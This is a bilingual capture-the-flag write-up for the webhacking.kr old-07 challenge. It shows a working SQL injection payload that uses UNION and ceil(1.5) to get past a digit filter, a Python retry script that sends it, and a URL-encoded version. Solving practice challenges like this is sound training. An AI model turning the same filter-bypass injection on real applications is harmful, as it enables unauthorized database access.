Webhacking.kr old-07

Challenge

Bypass the SQL filters and make the selected value equal 2.

绕过 SQL 过滤器,让查询结果变成 2。

1
https://webhacking.kr/challenge/web-07/

Analysis

源码随机用 1 到 5 层括号包裹 val,再把查询结果的第一列当作 level。输入过滤器拒绝直接出现数字 2,但 ceil(1.5) 的结果是整数 2,且 payload 不含被拦截的字面量。用 UNION 追加一行,就能让结果集的第一行成为这个值;结尾的 # 用来注释随机包装后剩余的 SQL。

Solution

下面的脚本通过 params 传递值。requests 会把 payload 中的 # 编码为 %23,服务器解码一次后才得到 SQL 注释符;不要手工把已经编码的 %23 再传入 params,否则可能变成双重编码。由于服务端的括号层数随机,脚本最多重试 10 次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
import os
import sys

import requests

URL = os.environ.get(
"OLD07_URL", "https://webhacking.kr/challenge/web-07/"
)
PAYLOAD = "0)union(select(ceil(1.5)))#"
ATTEMPTS = 10

def main() -> int:
with requests.Session() as session:
for attempt in range(1, ATTEMPTS + 1):
response = session.get(
URL,
params={"val": PAYLOAD},
timeout=10,
)
response.raise_for_status()
print(f"attempt {attempt}: {response.url}")
if "old-07" in response.text:
print(response.text)
return 0
print("The random query wrapper did not accept the payload in this run.")
return 1

if __name__ == "__main__":
sys.exit(main())

若直接构造 URL,请使用:

1
https://webhacking.kr/challenge/web-07/?val=0%29union%28select%28ceil%281.5%29%29%29%23

这里的 %23 是 URL 层的编码形式,不能把字面量 # 留在 URL 中,否则浏览器会把它当作 fragment 而不发送给服务器。